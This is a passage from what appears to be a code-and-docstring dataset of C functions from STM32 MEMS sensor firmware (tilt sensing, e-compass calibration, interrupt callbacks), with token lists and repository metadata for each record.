[ "void", "GetEstimatedMeasTime", "(", "float", "*", "time_s", ",", "uint32_t", "nRecords", ")", "{", "float", "odr", "=", "0.0f", ";", "uint8_t", "status", "=", "0", ";", "if", "(", "(", "BSP_ACCELERO_IsInitialized", "(", "ACCELERO_handle", ",", "&", "status", ")", "==", "COMPONENT_ERROR", "||", "status", "==", "0", ")", "||", "(", "BSP_ACCELERO_Sensor_Enable", "(", "ACCELERO_handle", ")", "==", "COMPONENT_ERROR", ")", ")", "{", "*", "time_s", "=", "0.0f", ";", "return", ";", "}", "BSP_ACCELERO_Get_ODR", "(", "ACCELERO_handle", ",", "&", "odr", ")", ";", "if", "(", "odr", ">", "0.001f", ")", "{", "*", "time_s", "=", "(", "float", ")", "nRecords", "/", "odr", ";", "}", "}" ]
@brief Get estimated measurement time @param time_s Pointer to time in [s] @param nRecords Number of records taken @retval None
[ "@brief", "Get", "estimated", "measurement", "time", "@param", "time_s", "Pointer", "to", "time", "in", "[", "s", "]", "@param", "nRecords", "Number", "of", "records", "taken", "@retval", "None" ]
[]
[ { "param": "time_s", "type": "float" }, { "param": "nRecords", "type": "uint32_t" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "time_s", "type": "float", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "nRecords", "type": "uint32_t", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
515c77da89ba4805c3d3dd48b394014b112f6377
PPA-Kerhoas-BLE/MeteoStation
STM32CubeExpansion_MEMS1_V4.1.0/Projects/Multi/Applications/TiltSensing/Src/main.c
[ "MIT" ]
C
ResetCalValuesInUnicleo
void
static void ResetCalValuesInUnicleo(void) { float zeroes[3] = {0.0f, 0.0f, 0.0f}; float ones[3] = {1.0f, 1.0f, 1.0f}; MTL_CalResult_t calResult = CAL_PASS; Msg.Data[0] = DataStreamingDest; Msg.Data[1] = DEV_ADDR; Msg.Data[2] = CMD_Angle_Mode_Cal_Pos + CMD_Reply_Add; Msg.Data[3] = CMD_GET_CALIBRATION_COEFFICIENTS; /* Leave byte [4] unused due to compatibility with other FWs */ memcpy(&Msg.Data[5], zeroes, 3 * sizeof(float)); memcpy(&Msg.Data[5 + 3 * sizeof(float)], ones, 3 * sizeof(float)); Serialize_s32(&Msg.Data[5 + 6 * sizeof(float)], (uint8_t)calResult, 1); Msg.Len = 5 + 6 * sizeof(float) + 1; UART_SendMsg(&Msg); }
/** * @brief Reset calibration values in Unicleo-GUI * @param None * @retval None */
@brief Reset calibration values in Unicleo-GUI @param None @retval None
[ "@brief", "Reset", "calibration", "values", "in", "Unicleo", "-", "GUI", "@param", "None", "@retval", "None" ]
static void ResetCalValuesInUnicleo(void) { float zeroes[3] = {0.0f, 0.0f, 0.0f}; float ones[3] = {1.0f, 1.0f, 1.0f}; MTL_CalResult_t calResult = CAL_PASS; Msg.Data[0] = DataStreamingDest; Msg.Data[1] = DEV_ADDR; Msg.Data[2] = CMD_Angle_Mode_Cal_Pos + CMD_Reply_Add; Msg.Data[3] = CMD_GET_CALIBRATION_COEFFICIENTS; memcpy(&Msg.Data[5], zeroes, 3 * sizeof(float)); memcpy(&Msg.Data[5 + 3 * sizeof(float)], ones, 3 * sizeof(float)); Serialize_s32(&Msg.Data[5 + 6 * sizeof(float)], (uint8_t)calResult, 1); Msg.Len = 5 + 6 * sizeof(float) + 1; UART_SendMsg(&Msg); }
[ "static", "void", "ResetCalValuesInUnicleo", "(", "void", ")", "{", "float", "zeroes", "[", "3", "]", "=", "{", "0.0f", ",", "0.0f", ",", "0.0f", "}", ";", "float", "ones", "[", "3", "]", "=", "{", "1.0f", ",", "1.0f", ",", "1.0f", "}", ";", "MTL_CalResult_t", "calResult", "=", "CAL_PASS", ";", "Msg", ".", "Data", "[", "0", "]", "=", "DataStreamingDest", ";", "Msg", ".", "Data", "[", "1", "]", "=", "DEV_ADDR", ";", "Msg", ".", "Data", "[", "2", "]", "=", "CMD_Angle_Mode_Cal_Pos", "+", "CMD_Reply_Add", ";", "Msg", ".", "Data", "[", "3", "]", "=", "CMD_GET_CALIBRATION_COEFFICIENTS", ";", "memcpy", "(", "&", "Msg", ".", "Data", "[", "5", "]", ",", "zeroes", ",", "3", "*", "sizeof", "(", "float", ")", ")", ";", "memcpy", "(", "&", "Msg", ".", "Data", "[", "5", "+", "3", "*", "sizeof", "(", "float", ")", "]", ",", "ones", ",", "3", "*", "sizeof", "(", "float", ")", ")", ";", "Serialize_s32", "(", "&", "Msg", ".", "Data", "[", "5", "+", "6", "*", "sizeof", "(", "float", ")", "]", ",", "(", "uint8_t", ")", "calResult", ",", "1", ")", ";", "Msg", ".", "Len", "=", "5", "+", "6", "*", "sizeof", "(", "float", ")", "+", "1", ";", "UART_SendMsg", "(", "&", "Msg", ")", ";", "}" ]
@brief Reset calibration values in Unicleo-GUI @param None @retval None
[ "@brief", "Reset", "calibration", "values", "in", "Unicleo", "-", "GUI", "@param", "None", "@retval", "None" ]
[ "/* Leave byte [4] unused due to compatibility with other FWs */" ]
[]
{ "returns": [], "raises": [], "params": [], "outlier_params": [], "others": [] }
515c77da89ba4805c3d3dd48b394014b112f6377
PPA-Kerhoas-BLE/MeteoStation
STM32CubeExpansion_MEMS1_V4.1.0/Projects/Multi/Applications/TiltSensing/Src/main.c
[ "MIT" ]
C
HAL_GPIO_EXTI_Callback
void
void HAL_GPIO_EXTI_Callback(uint16_t GPIO_Pin) { if (GPIO_Pin == KEY_BUTTON_PIN) { if (BSP_PB_GetState(BUTTON_KEY) == GPIO_PIN_RESET) { flash_erase_request = 1; } } }
/** * @brief EXTI line detection callbacks * @param GPIO_Pin the pin connected to EXTI line * @retval None */
@brief EXTI line detection callbacks @param GPIO_Pin the pin connected to EXTI line @retval None
[ "@brief", "EXTI", "line", "detection", "callbacks", "@param", "GPIO_Pin", "the", "pin", "connected", "to", "EXTI", "line", "@retval", "None" ]
void HAL_GPIO_EXTI_Callback(uint16_t GPIO_Pin) { if (GPIO_Pin == KEY_BUTTON_PIN) { if (BSP_PB_GetState(BUTTON_KEY) == GPIO_PIN_RESET) { flash_erase_request = 1; } } }
[ "void", "HAL_GPIO_EXTI_Callback", "(", "uint16_t", "GPIO_Pin", ")", "{", "if", "(", "GPIO_Pin", "==", "KEY_BUTTON_PIN", ")", "{", "if", "(", "BSP_PB_GetState", "(", "BUTTON_KEY", ")", "==", "GPIO_PIN_RESET", ")", "{", "flash_erase_request", "=", "1", ";", "}", "}", "}" ]
@brief EXTI line detection callbacks @param GPIO_Pin the pin connected to EXTI line @retval None
[ "@brief", "EXTI", "line", "detection", "callbacks", "@param", "GPIO_Pin", "the", "pin", "connected", "to", "EXTI", "line", "@retval", "None" ]
[]
[ { "param": "GPIO_Pin", "type": "uint16_t" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "GPIO_Pin", "type": "uint16_t", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
515c77da89ba4805c3d3dd48b394014b112f6377
PPA-Kerhoas-BLE/MeteoStation
STM32CubeExpansion_MEMS1_V4.1.0/Projects/Multi/Applications/TiltSensing/Src/main.c
[ "MIT" ]
C
HAL_TIM_PeriodElapsedCallback
void
void HAL_TIM_PeriodElapsedCallback(TIM_HandleTypeDef *htim) { if (htim->Instance == TIM_TL) { sensor_read_request = 1; } }
/** * @brief Period elapsed callback * @param htim pointer to a TIM_HandleTypeDef structure that contains * the configuration information for TIM module. * @retval None */
@brief Period elapsed callback @param htim pointer to a TIM_HandleTypeDef structure that contains the configuration information for TIM module. @retval None
[ "@brief", "Period", "elapsed", "callback", "@param", "htim", "pointer", "to", "a", "TIM_HandleTypeDef", "structure", "that", "contains", "the", "configuration", "information", "for", "TIM", "module", ".", "@retval", "None" ]
void HAL_TIM_PeriodElapsedCallback(TIM_HandleTypeDef *htim) { if (htim->Instance == TIM_TL) { sensor_read_request = 1; } }
[ "void", "HAL_TIM_PeriodElapsedCallback", "(", "TIM_HandleTypeDef", "*", "htim", ")", "{", "if", "(", "htim", "->", "Instance", "==", "TIM_TL", ")", "{", "sensor_read_request", "=", "1", ";", "}", "}" ]
@brief Period elapsed callback @param htim pointer to a TIM_HandleTypeDef structure that contains the configuration information for TIM module.
[ "@brief", "Period", "elapsed", "callback", "@param", "htim", "pointer", "to", "a", "TIM_HandleTypeDef", "structure", "that", "contains", "the", "configuration", "information", "for", "TIM", "module", "." ]
[]
[ { "param": "htim", "type": "TIM_HandleTypeDef" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "htim", "type": "TIM_HandleTypeDef", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
423e2a7df6fbd233dd7fa96b1fb59c9412d617df
PPA-Kerhoas-BLE/MeteoStation
STM32CubeExpansion_MEMS1_V4.1.0/Projects/Multi/Applications/ECompass/Src/MotionMC_Manager.c
[ "MIT" ]
C
MotionMC_manager_run
void
void MotionMC_manager_run(TMsg *Msg) { MMC_Input_t data_in; MMC_Output_t data_out; /* Convert magnetometer data [mGauss] to [uT] */ data_in.Mag[0] = MAG_Value.AXIS_X / 10.0f; data_in.Mag[1] = MAG_Value.AXIS_Y / 10.0f; data_in.Mag[2] = MAG_Value.AXIS_Z / 10.0f; data_in.TimeStamp = TimeStamp * REPORT_INTERVAL; /* Run magnetometer calibration algorithm */ MotionMC_manager_update(&data_in); /* Get the magnetometer compensation for hard/soft iron */ MotionMC_manager_get_params(&data_out); /* Do hard & soft iron calibration */ MotionMC_manager_compensate(&MAG_Value, &MAG_ValueComp); /* Calibration quality */ Msg->Data[124] = (uint8_t)data_out.CalQuality; }
/** * @brief Run Magnetometer calibration algorithm * @param Msg Data stream * @retval none */
@brief Run Magnetometer calibration algorithm @param Msg Data stream @retval none
[ "@brief", "Run", "Magnetometer", "calibration", "algorithm", "@param", "Msg", "Data", "stream", "@retval", "none" ]
void MotionMC_manager_run(TMsg *Msg) { MMC_Input_t data_in; MMC_Output_t data_out; data_in.Mag[0] = MAG_Value.AXIS_X / 10.0f; data_in.Mag[1] = MAG_Value.AXIS_Y / 10.0f; data_in.Mag[2] = MAG_Value.AXIS_Z / 10.0f; data_in.TimeStamp = TimeStamp * REPORT_INTERVAL; MotionMC_manager_update(&data_in); MotionMC_manager_get_params(&data_out); MotionMC_manager_compensate(&MAG_Value, &MAG_ValueComp); Msg->Data[124] = (uint8_t)data_out.CalQuality; }
[ "void", "MotionMC_manager_run", "(", "TMsg", "*", "Msg", ")", "{", "MMC_Input_t", "data_in", ";", "MMC_Output_t", "data_out", ";", "data_in", ".", "Mag", "[", "0", "]", "=", "MAG_Value", ".", "AXIS_X", "/", "10.0f", ";", "data_in", ".", "Mag", "[", "1", "]", "=", "MAG_Value", ".", "AXIS_Y", "/", "10.0f", ";", "data_in", ".", "Mag", "[", "2", "]", "=", "MAG_Value", ".", "AXIS_Z", "/", "10.0f", ";", "data_in", ".", "TimeStamp", "=", "TimeStamp", "*", "REPORT_INTERVAL", ";", "MotionMC_manager_update", "(", "&", "data_in", ")", ";", "MotionMC_manager_get_params", "(", "&", "data_out", ")", ";", "MotionMC_manager_compensate", "(", "&", "MAG_Value", ",", "&", "MAG_ValueComp", ")", ";", "Msg", "->", "Data", "[", "124", "]", "=", "(", "uint8_t", ")", "data_out", ".", "CalQuality", ";", "}" ]
@brief Run Magnetometer calibration algorithm @param Msg Data stream @retval none
[ "@brief", "Run", "Magnetometer", "calibration", "algorithm", "@param", "Msg", "Data", "stream", "@retval", "none" ]
[ "/* Convert magnetometer data [mGauss] to [uT] */", "/* Run magnetometer calibration algorithm */", "/* Get the magnetometer compensation for hard/soft iron */", "/* Do hard & soft iron calibration */", "/* Calibration quality */" ]
[ { "param": "Msg", "type": "TMsg" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "Msg", "type": "TMsg", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
c8877f0e0cee518bc23d56a6809d95dd088e64ce
PPA-Kerhoas-BLE/MeteoStation
STM32CubeExpansion_MEMS1_V4.1.0/Projects/Multi/Examples/IKS01A1/LSM6DS3_TiltDetection/Src/main.c
[ "MIT" ]
C
HAL_GPIO_EXTI_Callback
void
void HAL_GPIO_EXTI_Callback( uint16_t GPIO_Pin ) { /* User button. */ if(GPIO_Pin == KEY_BUTTON_PIN) { if ( BSP_PB_GetState( BUTTON_KEY ) == GPIO_PIN_RESET ) { // Toggle enable/disable tilt detection (available only for LSM6DS3 sensor). if ( tilt_enabled != 0 ) { tilt_disable_request = 1; } else { tilt_enable_request = 1; } } } /* Tilt detection (available only for LSM6DS3 sensor). */ else if ( GPIO_Pin == M_INT1_PIN ) { mems_event_detected = 1; } }
/** * @brief EXTI line detection callbacks * @param GPIO_Pin: Specifies the pins connected EXTI line * @retval None */
@brief EXTI line detection callbacks @param GPIO_Pin: Specifies the pins connected EXTI line @retval None
[ "@brief", "EXTI", "line", "detection", "callbacks", "@param", "GPIO_Pin", ":", "Specifies", "the", "pins", "connected", "EXTI", "line", "@retval", "None" ]
void HAL_GPIO_EXTI_Callback( uint16_t GPIO_Pin ) { if(GPIO_Pin == KEY_BUTTON_PIN) { if ( BSP_PB_GetState( BUTTON_KEY ) == GPIO_PIN_RESET ) { if ( tilt_enabled != 0 ) { tilt_disable_request = 1; } else { tilt_enable_request = 1; } } } else if ( GPIO_Pin == M_INT1_PIN ) { mems_event_detected = 1; } }
[ "void", "HAL_GPIO_EXTI_Callback", "(", "uint16_t", "GPIO_Pin", ")", "{", "if", "(", "GPIO_Pin", "==", "KEY_BUTTON_PIN", ")", "{", "if", "(", "BSP_PB_GetState", "(", "BUTTON_KEY", ")", "==", "GPIO_PIN_RESET", ")", "{", "if", "(", "tilt_enabled", "!=", "0", ")", "{", "tilt_disable_request", "=", "1", ";", "}", "else", "{", "tilt_enable_request", "=", "1", ";", "}", "}", "}", "else", "if", "(", "GPIO_Pin", "==", "M_INT1_PIN", ")", "{", "mems_event_detected", "=", "1", ";", "}", "}" ]
@brief EXTI line detection callbacks @param GPIO_Pin: Specifies the pins connected EXTI line @retval None
[ "@brief", "EXTI", "line", "detection", "callbacks", "@param", "GPIO_Pin", ":", "Specifies", "the", "pins", "connected", "EXTI", "line", "@retval", "None" ]
[ "/* User button. */", "// Toggle enable/disable tilt detection (available only for LSM6DS3 sensor).\r", "/* Tilt detection (available only for LSM6DS3 sensor). */" ]
[ { "param": "GPIO_Pin", "type": "uint16_t" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "GPIO_Pin", "type": "uint16_t", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }